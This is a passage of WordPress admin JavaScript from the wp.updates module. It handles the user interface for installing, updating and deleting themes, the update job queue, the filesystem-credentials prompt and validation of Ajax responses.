	 * @param {string=} response.pluginName   Optional. Name of the plugin to be deleted.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.deletePluginError = function( response ) {
		var $plugin, $pluginUpdateRow,
			pluginUpdateRow  = wp.template( 'item-update-row' ),
			noticeContent    = wp.updates.adminNotice( {
				className: 'update-message notice-error notice-alt',
				message:   response.errorMessage
			} );

		if ( response.plugin ) {
			$plugin          = $( 'tr.inactive[data-plugin="' + response.plugin + '"]' );
			$pluginUpdateRow = $plugin.siblings( '[data-plugin="' + response.plugin + '"]' );
		} else {
			$plugin          = $( 'tr.inactive[data-slug="' + response.slug + '"]' );
			$pluginUpdateRow = $plugin.siblings( '[data-slug="' + response.slug + '"]' );
		}

		if ( ! wp.updates.isValidResponse( response, 'delete' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'delete-plugin' ) ) {
			return;
		}

		// Add a plugin update row if it doesn't exist yet.
		if ( ! $pluginUpdateRow.length ) {
			$plugin.addClass( 'update' ).after(
				pluginUpdateRow( {
					slug:    response.slug,
					plugin:  response.plugin || response.slug,
					colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
					content: noticeContent
				} )
			);
		} else {

			// Remove previous error messages, if any.
			$pluginUpdateRow.find( '.notice-error' ).remove();

			$pluginUpdateRow.find( '.plugin-update' ).append( noticeContent );
		}

		$document.trigger( 'wp-plugin-delete-error', response );
	};

	/**
	 * Sends an Ajax request to the server to update a theme.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}              args         Arguments.
	 * @param {string}              args.slug    Theme stylesheet.
	 * @param {updateThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.updateThemeSuccess
	 * @param {updateThemeError=}   args.error   Optional. Error callback. Default: wp.updates.updateThemeError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.updateTheme = function( args ) {
		var $notice;

		args = _.extend( {
			success: wp.updates.updateThemeSuccess,
			error: wp.updates.updateThemeError
		}, args );

		if ( 'themes-network' === pagenow ) {
			$notice = $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' );

		} else if ( 'customize' === pagenow ) {

			// Update the theme details UI.
			$notice = $( '[data-slug="' + args.slug + '"].notice' ).removeClass( 'notice-large' );

			$notice.find( 'h3' ).remove();

			// Add the top-level UI, and update both.
			$notice = $notice.add( $( '#customize-control-installed_theme_' + args.slug ).find( '.update-message' ) );
			$notice = $notice.addClass( 'updating-message' ).find( 'p' );

		} else {
			$notice = $( '#update-theme' ).closest( '.notice' ).removeClass( 'notice-large' );

			$notice.find( 'h3' ).remove();

			$notice = $notice.add( $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ) );
			$notice = $notice.addClass( 'updating-message' ).find( 'p' );
		}

		if ( $notice.html() !== __( 'Updating...' ) ) {
			$notice.data( 'originaltext', $notice.html() );
		}

		wp.a11y.speak( __( 'Updating... please wait.' ) );
		$notice.text( __( 'Updating...' ) );

		$document.trigger( 'wp-theme-updating', args );

		return wp.updates.ajax( 'update-theme', args );
	};

	/**
	 * Updates the UI appropriately after a successful theme update.
	 *
	 * @since 4.6.0
	 * @since 5.5.0 Auto-update "time to next update" text cleared.
	 *
	 * @param {Object} response
	 * @param {string} response.slug       Slug of the theme to be updated.
	 * @param {Object} response.theme      Updated theme.
	 * @param {string} response.oldVersion Old version of the theme.
	 * @param {string} response.newVersion New version of the theme.
	 */
	wp.updates.updateThemeSuccess = function( response ) {
		var isModalOpen    = $( 'body.modal-open' ).length,
			$theme         = $( '[data-slug="' + response.slug + '"]' ),
			updatedMessage = {
				className: 'updated-message notice-success notice-alt',
				message:   _x( 'Updated!', 'theme' )
			},
			$notice, newText;

		if ( 'customize' === pagenow ) {
			$theme = $( '.updating-message' ).siblings( '.theme-name' );

			if ( $theme.length ) {

				// Update the version number in the row.
				newText = $theme.html().replace( response.oldVersion, response.newVersion );
				$theme.html( newText );
			}

			$notice = $( '.theme-info .notice' ).add( wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' ).find( '.update-message' ) );
		} else if ( 'themes-network' === pagenow ) {
			$notice = $theme.find( '.update-message' );

			// Update the version number in the row.
			newText = $theme.find( '.theme-version-author-uri' ).html().replace( response.oldVersion, response.newVersion );
			$theme.find( '.theme-version-author-uri' ).html( newText );

			// Clear the "time to next auto-update" text.
			$theme.find( '.auto-update-time' ).empty();
		} else {
			$notice = $( '.theme-info .notice' ).add( $theme.find( '.update-message' ) );

			// Focus on Customize button after updating.
			if ( isModalOpen ) {
				$( '.load-customize:visible' ).trigger( 'focus' );
				$( '.theme-info .theme-autoupdate' ).find( '.auto-update-time' ).empty();
			} else {
				$theme.find( '.load-customize' ).trigger( 'focus' );
			}
		}

		wp.updates.addAdminNotice( _.extend( { selector: $notice }, updatedMessage ) );
		wp.a11y.speak( __( 'Update completed successfully.' ) );

		wp.updates.decrementCount( 'theme' );

		$document.trigger( 'wp-theme-update-success', response );

		// Show updated message after modal re-rendered.
		if ( isModalOpen && 'customize' !== pagenow ) {
			$( '.theme-info .theme-author' ).after( wp.updates.adminNotice( updatedMessage ) );
		}
	};

	/**
	 * Updates the UI appropriately after a failed theme update.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be updated.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 */
	wp.updates.updateThemeError = function( response ) {
		var $theme       = $( '[data-slug="' + response.slug + '"]' ),
			errorMessage = sprintf(
				/* translators: %s: Error string for a failed update. */
				 __( 'Update failed: %s' ),
				response.errorMessage
			),
			$notice;

		if ( ! wp.updates.isValidResponse( response, 'update' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'update-theme' ) ) {
			return;
		}

		if ( 'customize' === pagenow ) {
			$theme = wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' );
		}

		if ( 'themes-network' === pagenow ) {
			$notice = $theme.find( '.update-message ' );
		} else {
			$notice = $( '.theme-info .notice' ).add( $theme.find( '.notice' ) );

			$( 'body.modal-open' ).length ? $( '.load-customize:visible' ).trigger( 'focus' ) : $theme.find( '.load-customize' ).trigger( 'focus');
		}

		wp.updates.addAdminNotice( {
			selector:  $notice,
			className: 'update-message notice-error notice-alt is-dismissible',
			message:   errorMessage
		} );

		wp.a11y.speak( errorMessage );

		$document.trigger( 'wp-theme-update-error', response );
	};

	/**
	 * Sends an Ajax request to the server to install a theme.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}               args
	 * @param {string}               args.slug    Theme stylesheet.
	 * @param {installThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.installThemeSuccess
	 * @param {installThemeError=}   args.error   Optional. Error callback. Default: wp.updates.installThemeError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.installTheme = function( args ) {
		var $message = $( '.theme-install[data-slug="' + args.slug + '"]' );

		args = _.extend( {
			success: wp.updates.installThemeSuccess,
			error: wp.updates.installThemeError
		}, args );

		$message.addClass( 'updating-message' );
		$message.parents( '.theme' ).addClass( 'focus' );
		if ( $message.html() !== __( 'Installing...' ) ) {
			$message.data( 'originaltext', $message.html() );
		}

		$message
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Theme name and version. */
					_x( 'Installing %s...', 'theme' ),
					$message.data( 'name' )
				)
			)
			.text( __( 'Installing...' ) );

		wp.a11y.speak( __( 'Installing... please wait.' ) );

		// Remove previous error messages, if any.
		$( '.install-theme-info, [data-slug="' + args.slug + '"]' ).removeClass( 'theme-install-failed' ).find( '.notice.notice-error' ).remove();

		$document.trigger( 'wp-theme-installing', args );

		return wp.updates.ajax( 'install-theme', args );
	};

	/**
	 * Updates the UI appropriately after a successful theme install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be installed.
	 * @param {string} response.customizeUrl URL to the Customizer for the just installed theme.
	 * @param {string} response.activateUrl  URL to activate the just installed theme.
	 */
	wp.updates.installThemeSuccess = function( response ) {
		var $card = $( '.wp-full-overlay-header, [data-slug=' + response.slug + ']' ),
			$message;

		$document.trigger( 'wp-theme-install-success', response );

		$message = $card.find( '.button-primary' )
			.removeClass( 'updating-message' )
			.addClass( 'updated-message disabled' )
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Theme name and version. */
					_x( '%s installed!', 'theme' ),
					response.themeName
				)
			)
			.text( _x( 'Installed!', 'theme' ) );

		wp.a11y.speak( __( 'Installation completed successfully.' ) );

		setTimeout( function() {

			if ( response.activateUrl ) {

				// Transform the 'Install' button into an 'Activate' button.
				$message
					.attr( 'href', response.activateUrl )
					.removeClass( 'theme-install updated-message disabled' )
					.addClass( 'activate' );

				if ( 'themes-network' === pagenow ) {
					$message
						.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Theme name. */
								_x( 'Network Activate %s', 'theme' ),
								response.themeName
							)
						)
						.text( __( 'Network Enable' ) );
				} else {
					$message
						.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Theme name. */
								_x( 'Activate %s', 'theme' ),
								response.themeName
							)
						)
						.text( _x( 'Activate', 'theme' ) );
				}
			}

			if ( response.customizeUrl ) {

				// Transform the 'Preview' button into a 'Live Preview' button.
				$message.siblings( '.preview' ).replaceWith( function () {
					return $( '<a>' )
						.attr( 'href', response.customizeUrl )
						.addClass( 'button load-customize' )
						.text( __( 'Live Preview' ) );
				} );
			}
		}, 1000 );
	};

	/**
	 * Updates the UI appropriately after a failed theme install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be installed.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 */
	wp.updates.installThemeError = function( response ) {
		var $card, $button,
			errorMessage = sprintf(
				/* translators: %s: Error string for a failed installation. */
				__( 'Installation failed: %s' ),
				response.errorMessage
			),
			$message     = wp.updates.adminNotice( {
				className: 'update-message notice-error notice-alt',
				message:   errorMessage
			} );

		if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'install-theme' ) ) {
			return;
		}

		if ( 'customize' === pagenow ) {
			if ( $document.find( 'body' ).hasClass( 'modal-open' ) ) {
				$button = $( '.theme-install[data-slug="' + response.slug + '"]' );
				$card   = $( '.theme-overlay .theme-info' ).prepend( $message );
			} else {
				$button = $( '.theme-install[data-slug="' + response.slug + '"]' );
				$card   = $button.closest( '.theme' ).addClass( 'theme-install-failed' ).append( $message );
			}
			wp.customize.notifications.remove( 'theme_installing' );
		} else {
			if ( $document.find( 'body' ).hasClass( 'full-overlay-active' ) ) {
				$button = $( '.theme-install[data-slug="' + response.slug + '"]' );
				$card   = $( '.install-theme-info' ).prepend( $message );
			} else {
				$card   = $( '[data-slug="' + response.slug + '"]' ).removeClass( 'focus' ).addClass( 'theme-install-failed' ).append( $message );
				$button = $card.find( '.theme-install' );
			}
		}

		$button
			.removeClass( 'updating-message' )
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Theme name and version. */
					_x( '%s installation failed', 'theme' ),
					$button.data( 'name' )
				)
			)
			.text( __( 'Installation failed.' ) );

		wp.a11y.speak( errorMessage, 'assertive' );

		$document.trigger( 'wp-theme-install-error', response );
	};

	/**
	 * Sends an Ajax request to the server to delete a theme.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}              args
	 * @param {string}              args.slug    Theme stylesheet.
	 * @param {deleteThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.deleteThemeSuccess
	 * @param {deleteThemeError=}   args.error   Optional. Error callback. Default: wp.updates.deleteThemeError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.deleteTheme = function( args ) {
		var $button;

		if ( 'themes' === pagenow ) {
			$button = $( '.theme-actions .delete-theme' );
		} else if ( 'themes-network' === pagenow ) {
			$button = $( '[data-slug="' + args.slug + '"]' ).find( '.row-actions a.delete' );
		}

		args = _.extend( {
			success: wp.updates.deleteThemeSuccess,
			error: wp.updates.deleteThemeError
		}, args );

		if ( $button && $button.html() !== __( 'Deleting...' ) ) {
			$button
				.data( 'originaltext', $button.html() )
				.text( __( 'Deleting...' ) );
		}

		wp.a11y.speak( __( 'Deleting...' ) );

		// Remove previous error messages, if any.
		$( '.theme-info .update-message' ).remove();

		$document.trigger( 'wp-theme-deleting', args );

		return wp.updates.ajax( 'delete-theme', args );
	};

	/**
	 * Updates the UI appropriately after a successful theme deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response      Response from the server.
	 * @param {string} response.slug Slug of the theme that was deleted.
	 */
	wp.updates.deleteThemeSuccess = function( response ) {
		var $themeRows = $( '[data-slug="' + response.slug + '"]' );

		if ( 'themes-network' === pagenow ) {

			// Removes the theme and updates rows.
			$themeRows.css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() {
				var $views     = $( '.subsubsub' ),
					$themeRow  = $( this ),
					themes     = settings.themes,
					deletedRow = wp.template( 'item-deleted-row' );

				if ( ! $themeRow.hasClass( 'plugin-update-tr' ) ) {
					$themeRow.after(
						deletedRow( {
							slug:    response.slug,
							colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
							name:    $themeRow.find( '.theme-title strong' ).text()
						} )
					);
				}

				$themeRow.remove();

				// Remove theme from update count.
				if ( -1 !== _.indexOf( themes.upgrade, response.slug ) ) {
					themes.upgrade = _.without( themes.upgrade, response.slug );
					wp.updates.decrementCount( 'theme' );
				}

				// Remove from views.
				if ( -1 !== _.indexOf( themes.disabled, response.slug ) ) {
					themes.disabled = _.without( themes.disabled, response.slug );
					if ( themes.disabled.length ) {
						$views.find( '.disabled .count' ).text( '(' + themes.disabled.length + ')' );
					} else {
						$views.find( '.disabled' ).remove();
					}
				}

				if ( -1 !== _.indexOf( themes['auto-update-enabled'], response.slug ) ) {
					themes['auto-update-enabled'] = _.without( themes['auto-update-enabled'], response.slug );
					if ( themes['auto-update-enabled'].length ) {
						$views.find( '.auto-update-enabled .count' ).text( '(' + themes['auto-update-enabled'].length + ')' );
					} else {
						$views.find( '.auto-update-enabled' ).remove();
					}
				}

				if ( -1 !== _.indexOf( themes['auto-update-disabled'], response.slug ) ) {
					themes['auto-update-disabled'] = _.without( themes['auto-update-disabled'], response.slug );
					if ( themes['auto-update-disabled'].length ) {
						$views.find( '.auto-update-disabled .count' ).text( '(' + themes['auto-update-disabled'].length + ')' );
					} else {
						$views.find( '.auto-update-disabled' ).remove();
					}
				}

				themes.all = _.without( themes.all, response.slug );

				// There is always at least one theme available.
				$views.find( '.all .count' ).text( '(' + themes.all.length + ')' );
			} );
		}

		// DecrementCount from update count.
		if ( 'themes' === pagenow ) {
		    var theme = _.find( _wpThemeSettings.themes, { id: response.slug } );
		    if ( theme.hasUpdate ) {
		        wp.updates.decrementCount( 'theme' );
		    }
		}

		wp.a11y.speak( _x( 'Deleted!', 'theme' ) );

		$document.trigger( 'wp-theme-delete-success', response );
	};

	/**
	 * Updates the UI appropriately after a failed theme deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be deleted.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 */
	wp.updates.deleteThemeError = function( response ) {
		var $themeRow    = $( 'tr.inactive[data-slug="' + response.slug + '"]' ),
			$button      = $( '.theme-actions .delete-theme' ),
			updateRow    = wp.template( 'item-update-row' ),
			$updateRow   = $themeRow.siblings( '#' + response.slug + '-update' ),
			errorMessage = sprintf(
				/* translators: %s: Error string for a failed deletion. */
				__( 'Deletion failed: %s' ),
				response.errorMessage
			),
			$message     = wp.updates.adminNotice( {
				className: 'update-message notice-error notice-alt',
				message:   errorMessage
			} );

		if ( wp.updates.maybeHandleCredentialError( response, 'delete-theme' ) ) {
			return;
		}

		if ( 'themes-network' === pagenow ) {
			if ( ! $updateRow.length ) {
				$themeRow.addClass( 'update' ).after(
					updateRow( {
						slug: response.slug,
						colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
						content: $message
					} )
				);
			} else {
				// Remove previous error messages, if any.
				$updateRow.find( '.notice-error' ).remove();
				$updateRow.find( '.plugin-update' ).append( $message );
			}
		} else {
			$( '.theme-info .theme-description' ).before( $message );
		}

		$button.html( $button.data( 'originaltext' ) );

		wp.a11y.speak( errorMessage, 'assertive' );

		$document.trigger( 'wp-theme-delete-error', response );
	};

	/**
	 * Adds the appropriate callback based on the type of action and the current page.
	 *
	 * @since 4.6.0
	 * @private
	 *
	 * @param {Object} data   Ajax payload.
	 * @param {string} action The type of request to perform.
	 * @return {Object} The Ajax payload with the appropriate callbacks.
	 */
	wp.updates._addCallbacks = function( data, action ) {
		if ( 'import' === pagenow && 'install-plugin' === action ) {
			data.success = wp.updates.installImporterSuccess;
			data.error   = wp.updates.installImporterError;
		}

		return data;
	};

	/**
	 * Pulls available jobs from the queue and runs them.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 Can handle multiple job types.
	 */
	wp.updates.queueChecker = function() {
		var job;

		if ( wp.updates.ajaxLocked || ! wp.updates.queue.length ) {
			return;
		}

		job = wp.updates.queue.shift();

		// Handle a queue job.
		switch ( job.action ) {
			case 'install-plugin':
				wp.updates.installPlugin( job.data );
				break;

			case 'update-plugin':
				wp.updates.updatePlugin( job.data );
				break;

			case 'delete-plugin':
				wp.updates.deletePlugin( job.data );
				break;

			case 'install-theme':
				wp.updates.installTheme( job.data );
				break;

			case 'update-theme':
				wp.updates.updateTheme( job.data );
				break;

			case 'delete-theme':
				wp.updates.deleteTheme( job.data );
				break;

			default:
				break;
		}
	};

	/**
	 * Requests the users filesystem credentials if they aren't already known.
	 *
	 * @since 4.2.0
	 *
	 * @param {Event=} event Optional. Event interface.
	 */
	wp.updates.requestFilesystemCredentials = function( event ) {
		if ( false === wp.updates.filesystemCredentials.available ) {
			/*
			 * After exiting the credentials request modal,
			 * return the focus to the element triggering the request.
			 */
			if ( event && ! wp.updates.$elToReturnFocusToFromCredentialsModal ) {
				wp.updates.$elToReturnFocusToFromCredentialsModal = $( event.target );
			}

			wp.updates.ajaxLocked = true;
			wp.updates.requestForCredentialsModalOpen();
		}
	};

	/**
	 * Requests the users filesystem credentials if needed and there is no lock.
	 *
	 * @since 4.6.0
	 *
	 * @param {Event=} event Optional. Event interface.
	 */
	wp.updates.maybeRequestFilesystemCredentials = function( event ) {
		if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
			wp.updates.requestFilesystemCredentials( event );
		}
	};

	/**
	 * Keydown handler for the request for credentials modal.
	 *
	 * Closes the modal when the escape key is pressed and
	 * constrains keyboard navigation to inside the modal.
	 *
	 * @since 4.2.0
	 *
	 * @param {Event} event Event interface.
	 */
	wp.updates.keydown = function( event ) {
		if ( 27 === event.keyCode ) {
			wp.updates.requestForCredentialsModalCancel();
		} else if ( 9 === event.keyCode ) {

			// #upgrade button must always be the last focus-able element in the dialog.
			if ( 'upgrade' === event.target.id && ! event.shiftKey ) {
				$( '#hostname' ).trigger( 'focus' );

				event.preventDefault();
			} else if ( 'hostname' === event.target.id && event.shiftKey ) {
				$( '#upgrade' ).trigger( 'focus' );

				event.preventDefault();
			}
		}
	};

	/**
	 * Opens the request for credentials modal.
	 *
	 * @since 4.2.0
	 */
	wp.updates.requestForCredentialsModalOpen = function() {
		var $modal = $( '#request-filesystem-credentials-dialog' );

		$( 'body' ).addClass( 'modal-open' );
		$modal.show();
		$modal.find( 'input:enabled:first' ).trigger( 'focus' );
		$modal.on( 'keydown', wp.updates.keydown );
	};

	/**
	 * Closes the request for credentials modal.
	 *
	 * @since 4.2.0
	 */
	wp.updates.requestForCredentialsModalClose = function() {
		$( '#request-filesystem-credentials-dialog' ).hide();
		$( 'body' ).removeClass( 'modal-open' );

		if ( wp.updates.$elToReturnFocusToFromCredentialsModal ) {
			wp.updates.$elToReturnFocusToFromCredentialsModal.trigger( 'focus' );
		}
	};

	/**
	 * Takes care of the steps that need to happen when the modal is canceled out.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 Triggers an event for callbacks to listen to and add their actions.
	 */
	wp.updates.requestForCredentialsModalCancel = function() {

		// Not ajaxLocked and no queue means we already have cleared things up.
		if ( ! wp.updates.ajaxLocked && ! wp.updates.queue.length ) {
			return;
		}

		_.each( wp.updates.queue, function( job ) {
			$document.trigger( 'credential-modal-cancel', job );
		} );

		// Remove the lock, and clear the queue.
		wp.updates.ajaxLocked = false;
		wp.updates.queue = [];

		wp.updates.requestForCredentialsModalClose();
	};

	/**
	 * Displays an error message in the request for credentials form.
	 *
	 * @since 4.2.0
	 *
	 * @param {string} message Error message.
	 */
	wp.updates.showErrorInCredentialsForm = function( message ) {
		var $filesystemForm = $( '#request-filesystem-credentials-form' );

		// Remove any existing error.
		$filesystemForm.find( '.notice' ).remove();
		$filesystemForm.find( '#request-filesystem-credentials-title' ).after( '<div class="notice notice-alt notice-error"><p>' + message + '</p></div>' );
	};

	/**
	 * Handles credential errors and runs events that need to happen in that case.
	 *
	 * @since 4.2.0
	 *
	 * @param {Object} response Ajax response.
	 * @param {string} action   The type of request to perform.
	 */
	wp.updates.credentialError = function( response, action ) {

		// Restore callbacks.
		response = wp.updates._addCallbacks( response, action );

		wp.updates.queue.unshift( {
			action: action,

			/*
			 * Not cool that we're depending on response for this data.
			 * This would feel more whole in a view all tied together.
			 */
			data: response
		} );

		wp.updates.filesystemCredentials.available = false;
		wp.updates.showErrorInCredentialsForm( response.errorMessage );
		wp.updates.requestFilesystemCredentials();
	};

	/**
	 * Handles credentials errors if it could not connect to the filesystem.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 * @param {string} action                The type of request to perform.
	 * @return {boolean} Whether there is an error that needs to be handled or not.
	 */
	wp.updates.maybeHandleCredentialError = function( response, action ) {
		if ( wp.updates.shouldRequestFilesystemCredentials && response.errorCode && 'unable_to_connect_to_filesystem' === response.errorCode ) {
			wp.updates.credentialError( response, action );
			return true;
		}

		return false;
	};

	/**
	 * Validates an Ajax response to ensure it's a proper object.
	 *
	 * If the response deems to be invalid, an admin notice is being displayed.
	 *
	 * @param {(Object|string)} response              Response from the server.
	 * @param {function=}       response.always       Optional. Callback for when the Deferred is resolved or rejected.
	 * @param {string=}         response.statusText   Optional. Status message corresponding to the status code.
	 * @param {string=}         response.responseText Optional. Request response as text.
	 * @param {string}          action                Type of action the response is referring to. Can be 'delete',
	 *                                                'update' or 'install'.
	 */
	wp.updates.isValidResponse = function( response, action ) {
		var error = __( 'Something went wrong.' ),
			errorMessage;

		// Make sure the response is a valid data object and not a Promise object.
		if ( _.isObject( response ) && ! _.isFunction( response.always ) ) {
			return true;
		}

		if ( _.isString( response ) && '-1' === response ) {
			error = __( 'An error has occurred. Please reload the page and try again.' );
		} else if ( _.isString( response ) ) {
			error = response;
		} else if ( 'undefined' !== typeof response.readyState && 0 === response.readyState ) {
			error = __( 'Connection lost or the server is busy. Please try again later.' );
		} else if ( _.isString( response.responseText ) && '' !== response.responseText ) {
			error = response.responseText;
		} else if ( _.isString( response.statusText ) ) {
			error = response.statusText;
		}

		switch ( action ) {
			case 'update':
				/* translators: %s: Error string for a failed update. */
				errorMessage = __( 'Update failed: %s' );
				break;

			case 'install':
				/* translators: %s: Error string for a failed installation. */
				errorMessage = __( 'Installation failed: %s' );
				break;

			case 'check-dependencies':
				/* translators: %s: Error string for a failed dependencies check. */
				errorMessage = __( 'Dependencies check failed: %s' );
				break;

			case 'activate':
				/* translators: %s: Error string for a failed activation. */
				errorMessage = __( 'Activation failed: %s' );
				break;

			case 'delete':
				/* translators: %s: Error string for a failed deletion. */
				errorMessage = __( 'Deletion failed: %s' );
				break;
		}

		// Messages are escaped, remove HTML tags to make them more readable.
		error = error.replace( /<[\/a-z][^<>]*>/gi, '' );
		errorMessage = errorMessage.replace( '%s', error );

		// Add admin notice.
		wp.updates.addAdminNotice( {
			id:        'unknown_error',
			className: 'notice-error is-dismissible',
			message:   _.escape( errorMessage )
		} );

		// Remove the lock, and clear the queue.
		wp.updates.ajaxLocked = false;
		wp.updates.queue      = [];

		// Change buttons of all running updates.
		$( '.button.updating-message' )
			.removeClass( 'updating-message' )
			.removeAttr( 'aria-label' )
			.prop( 'disabled', true )
			.text( __( 'Update failed.' ) );

		$( '.updating-message:not(.button):not(.thickbox)' )
			.removeClass( 'updating-message notice-warning' )
			.addClass( 'notice-error' )
			.find( 'p' )
				.removeAttr( 'aria-label' )
				.text( errorMessage );

		wp.a11y.speak( errorMessage, 'assertive' );

		return false;
	};

	/**
	 * Potentially adds an AYS to a user attempting to leave the page.
	 *
	 * If an update is on-going and a user attempts to leave the page,
	 * opens an "Are you sure?" alert.
	 *
	 * @since 4.2.0
	 */
	wp.updates.beforeunload = function() {
		if ( wp.updates.ajaxLocked ) {
			return __( 'Updates may not complete if you navigate away from this page.' );
		}
	};

	$( function() {
		var $pluginFilter        = $( '#plugin-filter, #plugin-information-footer' ),
			$bulkActionForm      = $( '#bulk-action-form' ),
			$filesystemForm      = $( '#request-filesystem-credentials-form' ),
			$filesystemModal     = $( '#request-filesystem-credentials-dialog' ),
			$pluginSearch        = $( '.plugins-php .wp-filter-search' ),
			$pluginInstallSearch = $( '.plugin-install-php .wp-filter-search' );

		settings = _.extend( settings, window._wpUpdatesItemCounts || {} );

		if ( settings.totals ) {
			wp.updates.refreshCount();
		}

		/*
		 * Whether a user needs to submit filesystem credentials.
		 *
		 * This is based on whether the form was output on the page server-side.
		 *
		 * @see {wp_print_request_filesystem_credentials_modal() in PHP}
		 */
		wp.updates.shouldRequestFilesystemCredentials = $filesystemModal.length > 0;

		/**
		 * File system credentials form submit noop-er / handler.
		 *
		 * @since 4.2.0
		 */
		$filesystemModal.on( 'submit', 'form', function( event ) {
			event.preventDefault();

			// Persist the credentials input by the user for the duration of the page load.
			wp.updates.filesystemCredentials.ftp.hostname       = $( '#hostname' ).val();
			wp.updates.filesystemCredentials.ftp.username       = $( '#username' ).val();
			wp.updates.filesystemCredentials.ftp.password       = $( '#password' ).val();
			wp.updates.filesystemCredentials.ftp.connectionType = $( 'input[name="connection_type"]:checked' ).val();
			wp.updates.filesystemCredentials.ssh.publicKey      = $( '#public_key' ).val();
			wp.updates.filesystemCredentials.ssh.privateKey     = $( '#private_key' ).val();
			wp.updates.filesystemCredentials.fsNonce            = $( '#_fs_nonce' ).val();
			wp.updates.filesystemCredentials.available          = true;

			// Unlock and invoke the queue.
			wp.updates.ajaxLocked = false;
			wp.updates.queueChecker();

			wp.updates.requestForCredentialsModalClose();
		} );

		/**
		 * Closes the request credentials modal when clicking the 'Cancel' button or outside of the modal.
		 *
		 * @since 4.2.0
		 */
		$filesystemModal.on( 'click', '[data-js-action="close"], .notification-dialog-background', wp.updates.requestForCredentialsModalCancel );

		/**
		 * Hide SSH fields when not selected.
		 *
		 * @since 4.2.0
		 */
		$filesystemForm.on( 'change', 'input[name="connection_type"]', function() {
			$( '#ssh-keys' ).toggleClass( 'hidden', ( 'ssh' !== $( this ).val() ) );
		} ).trigger( 'change' );

		/**
		 * Handles events after the credential modal was closed.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event}  event Event interface.
		 * @param {string} job   The install/update.delete request.
		 */
		$document.on( 'credential-modal-cancel', function( event, job ) {
			var $updatingMessage = $( '.updating-message' ),
				$message, originalText;

			if ( 'import' === pagenow ) {
				$updatingMessage.removeClass( 'updating-message' );
			} else if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
				if ( 'update-plugin' === job.action ) {
					$message = $( 'tr[data-plugin="' + job.data.plugin + '"]' ).find( '.update-message' );
				} else if ( 'delete-plugin' === job.action ) {
					$message = $( '[data-plugin="' + job.data.plugin + '"]' ).find( '.row-actions a.delete' );
				}
			} else if ( 'themes' === pagenow || 'themes-network' === pagenow ) {
				if ( 'update-theme' === job.action ) {
					$message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.update-message' );
				} else if ( 'delete-theme' === job.action && 'themes-network' === pagenow ) {
					$message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.row-actions a.delete' );
				} else if ( 'delete-theme' === job.action && 'themes' === pagenow ) {
					$message = $( '.theme-actions .delete-theme' );
				}
			} else {
				$message = $updatingMessage;
			}

			if ( $message && $message.hasClass( 'updating-message' ) ) {
				originalText = $message.data( 'originaltext' );

				if ( 'undefined' === typeof originalText ) {
					originalText = $( '<p>' ).html( $message.find( 'p' ).data( 'originaltext' ) );
				}

				$message
					.removeClass( 'updating-message' )
					.html( originalText );

				if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
					if ( 'update-plugin' === job.action ) {
						$message.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Plugin name and version. */
								_x( 'Update %s now', 'plugin' ),
								$message.data( 'name' )
							)
						);
					} else if ( 'install-plugin' === job.action ) {
						$message.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Plugin name. */
								_x( 'Install %s now', 'plugin' ),
								$message.data( 'name' )
							)
						);
					}
				}
			}

			wp.a11y.speak( __( 'Update canceled.' ) );
		} );

		/**
		 * Click handler for plugin updates in List Table view.
		 *
		 * @since 4.2.0
		 *
